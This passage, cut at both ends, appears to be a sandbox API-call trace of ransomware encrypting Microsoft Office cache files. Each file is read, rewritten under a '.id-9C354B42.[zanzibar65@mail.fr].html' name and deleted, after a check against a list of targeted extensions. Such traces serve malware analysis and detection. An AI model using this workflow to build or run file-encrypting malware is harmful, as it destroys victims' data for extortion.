users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0034.274] GetLastError () returned 0x0 [0034.274] ReadFile (in: hFile=0x190, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x5b1, lpOverlapped=0x0) returned 1 [0034.533] WriteFile (in: hFile=0x194, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0034.534] ReadFile (in: hFile=0x190, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0034.534] WriteFile (in: hFile=0x194, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0034.535] SetEndOfFile (hFile=0x194) returned 1 [0034.535] CloseHandle (hObject=0x194) returned 1 [0034.535] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.536] SetEndOfFile (hFile=0x190) returned 1 [0034.536] CloseHandle (hObject=0x190) returned 1 [0034.536] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0034.537] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml")) returned 1 [0034.537] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0034.537] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0034.537] lstrlenW (lpString=".doc") returned 4 [0034.537] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.537] lstrlenW (lpString=".docx") returned 5 [0034.537] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0034.537] lstrlenW (lpString=".pdf") returned 4 [0034.537] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.537] lstrlenW (lpString=".xls") returned 4 [0034.537] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.537] lstrlenW (lpString=".xlsx") returned 5 [0034.537] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0034.537] lstrlenW (lpString=".ppt") returned 4 [0034.537] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.537] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0034.537] lstrlenW (lpString=".zip") returned 4 [0034.537] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.537] lstrlenW (lpString=".rar") returned 4 [0034.537] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.537] lstrlenW (lpString=".bz2") returned 4 [0034.537] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.537] lstrlenW (lpString=".7z") returned 3 [0034.537] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.537] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0034.538] lstrlenW (lpString=".dbf") returned 4 [0034.538] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.538] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0034.538] lstrlenW (lpString=".1cd") returned 4 [0034.538] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.538] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0034.538] lstrlenW (lpString=".jpg") returned 4 [0034.538] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.538] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0034.538] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0034.538] lstrlenW (lpString=".doc") returned 4 [0034.538] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.538] lstrlenW (lpString=".docx") returned 5 [0034.538] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0034.538] lstrlenW (lpString=".pdf") returned 4 [0034.538] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.538] lstrlenW (lpString=".xls") returned 4 [0034.538] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.538] lstrlenW (lpString=".xlsx") returned 5 [0034.538] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0034.538] lstrlenW (lpString=".ppt") returned 4 [0034.538] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.538] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0034.538] lstrlenW (lpString=".zip") returned 4 [0034.538] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.538] lstrlenW (lpString=".rar") returned 4 [0034.538] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.538] lstrlenW (lpString=".bz2") returned 4 [0034.538] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.538] lstrlenW (lpString=".7z") returned 3 [0034.538] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.538] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0034.539] lstrlenW (lpString=".dbf") returned 4 [0034.539] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.539] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0034.539] lstrlenW (lpString=".1cd") returned 4 [0034.539] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.539] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0034.539] lstrlenW (lpString=".jpg") returned 4 [0034.539] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.539] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0034.539] lstrlenW (lpString="VisioMUI.xml") returned 12 [0034.539] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0034.926] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=9503) returned 1 [0034.926] CloseHandle (hObject=0x1a4) returned 1 [0034.926] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml")) returned 0x2020 [0034.926] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0034.926] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0034.926] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.926] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.926] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0034.926] GetLastError () returned 0x0 [0034.926] ReadFile (in: hFile=0x1a4, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x251f, lpOverlapped=0x0) returned 1 [0035.028] WriteFile (in: hFile=0x174, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x2520, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x2520, lpOverlapped=0x0) returned 1 [0035.029] ReadFile (in: hFile=0x1a4, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0035.029] WriteFile (in: hFile=0x174, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0035.029] SetEndOfFile (hFile=0x174) returned 1 [0035.030] CloseHandle (hObject=0x174) returned 1 [0035.030] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.030] SetEndOfFile (hFile=0x1a4) returned 1 [0035.031] CloseHandle (hObject=0x1a4) returned 1 [0035.031] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0035.031] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml")) returned 1 [0035.032] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0035.032] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0035.032] lstrlenW (lpString=".doc") returned 4 [0035.032] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.032] lstrlenW (lpString=".docx") returned 5 [0035.032] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0035.032] lstrlenW (lpString=".pdf") returned 4 [0035.032] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.032] lstrlenW (lpString=".xls") returned 4 [0035.032] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.032] lstrlenW (lpString=".xlsx") returned 5 [0035.032] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0035.032] lstrlenW (lpString=".ppt") returned 4 [0035.032] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.032] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0035.032] lstrlenW (lpString=".zip") returned 4 [0035.032] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.032] lstrlenW (lpString=".rar") returned 4 [0035.032] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.032] lstrlenW (lpString=".bz2") returned 4 [0035.033] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.033] lstrlenW (lpString=".7z") returned 3 [0035.033] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.033] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0035.033] lstrlenW (lpString=".dbf") returned 4 [0035.033] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.033] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0035.033] lstrlenW (lpString=".1cd") returned 4 [0035.033] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.033] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0035.033] lstrlenW (lpString=".jpg") returned 4 [0035.033] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.033] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0035.033] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0035.033] lstrlenW (lpString=".doc") returned 4 [0035.033] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.033] lstrlenW (lpString=".docx") returned 5 [0035.033] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0035.033] lstrlenW (lpString=".pdf") returned 4 [0035.033] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.033] lstrlenW (lpString=".xls") returned 4 [0035.033] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.033] lstrlenW (lpString=".xlsx") returned 5 [0035.033] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0035.033] lstrlenW (lpString=".ppt") returned 4 [0035.033] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.033] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0035.033] lstrlenW (lpString=".zip") returned 4 [0035.033] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.033] lstrlenW (lpString=".rar") returned 4 [0035.033] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.033] lstrlenW (lpString=".bz2") returned 4 [0035.034] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.034] lstrlenW (lpString=".7z") returned 3 [0035.034] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.034] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0035.034] lstrlenW (lpString=".dbf") returned 4 [0035.034] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.034] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0035.034] lstrlenW (lpString=".1cd") returned 4 [0035.034] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.034] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0035.034] lstrlenW (lpString=".jpg") returned 4 [0035.034] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.034] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0035.034] lstrlenW (lpString="OfficeMUISet.xml") returned 16 [0035.034] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0035.127] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=819) returned 1 [0035.127] CloseHandle (hObject=0x198) returned 1 [0035.127] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml")) returned 0x2020 [0035.127] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0035.127] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0035.127] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.128] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.128] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0035.128] GetLastError () returned 0x0 [0035.128] ReadFile (in: hFile=0x198, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x333, lpOverlapped=0x0) returned 1 [0035.129] WriteFile (in: hFile=0x178, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x340, lpOverlapped=0x0) returned 1 [0035.130] ReadFile (in: hFile=0x198, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0035.130] WriteFile (in: hFile=0x178, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0035.131] SetEndOfFile (hFile=0x178) returned 1 [0035.131] CloseHandle (hObject=0x178) returned 1 [0035.132] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.132] SetEndOfFile (hFile=0x198) returned 1 [0035.132] CloseHandle (hObject=0x198) returned 1 [0035.132] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0035.133] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml")) returned 1 [0035.133] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0035.133] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0035.133] lstrlenW (lpString=".doc") returned 4 [0035.133] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.133] lstrlenW (lpString=".docx") returned 5 [0035.133] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0035.133] lstrlenW (lpString=".pdf") returned 4 [0035.133] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.133] lstrlenW (lpString=".xls") returned 4 [0035.133] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.133] lstrlenW (lpString=".xlsx") returned 5 [0035.133] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0035.133] lstrlenW (lpString=".ppt") returned 4 [0035.133] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.133] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0035.133] lstrlenW (lpString=".zip") returned 4 [0035.133] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.133] lstrlenW (lpString=".rar") returned 4 [0035.133] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.133] lstrlenW (lpString=".bz2") returned 4 [0035.133] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.133] lstrlenW (lpString=".7z") returned 3 [0035.134] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.134] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0035.134] lstrlenW (lpString=".dbf") returned 4 [0035.134] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.134] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0035.134] lstrlenW (lpString=".1cd") returned 4 [0035.134] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.134] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0035.134] lstrlenW (lpString=".jpg") returned 4 [0035.134] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.134] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0035.134] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0035.134] lstrlenW (lpString=".doc") returned 4 [0035.134] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.134] lstrlenW (lpString=".docx") returned 5 [0035.134] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0035.134] lstrlenW (lpString=".pdf") returned 4 [0035.134] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.134] lstrlenW (lpString=".xls") returned 4 [0035.134] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.134] lstrlenW (lpString=".xlsx") returned 5 [0035.134] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0035.134] lstrlenW (lpString=".ppt") returned 4 [0035.134] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.134] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0035.134] lstrlenW (lpString=".zip") returned 4 [0035.134] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.134] lstrlenW (lpString=".rar") returned 4 [0035.134] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.134] lstrlenW (lpString=".bz2") returned 4 [0035.134] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.134] lstrlenW (lpString=".7z") returned 3 [0035.134] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.135] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0035.135] lstrlenW (lpString=".dbf") returned 4 [0035.135] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.135] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0035.135] lstrlenW (lpString=".1cd") returned 4 [0035.135] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.135] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0035.135] lstrlenW (lpString=".jpg") returned 4 [0035.135] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.135] lstrcmpiW (lpString1=".chm", lpString2=".html") returned -1 [0035.135] lstrlenW (lpString="setup.chm") returned 9 [0035.135] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0035.135] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=67190) returned 1 [0035.135] CloseHandle (hObject=0x198) returned 1 [0035.135] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm")) returned 0x2020 [0035.135] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0035.136] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0035.136] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, 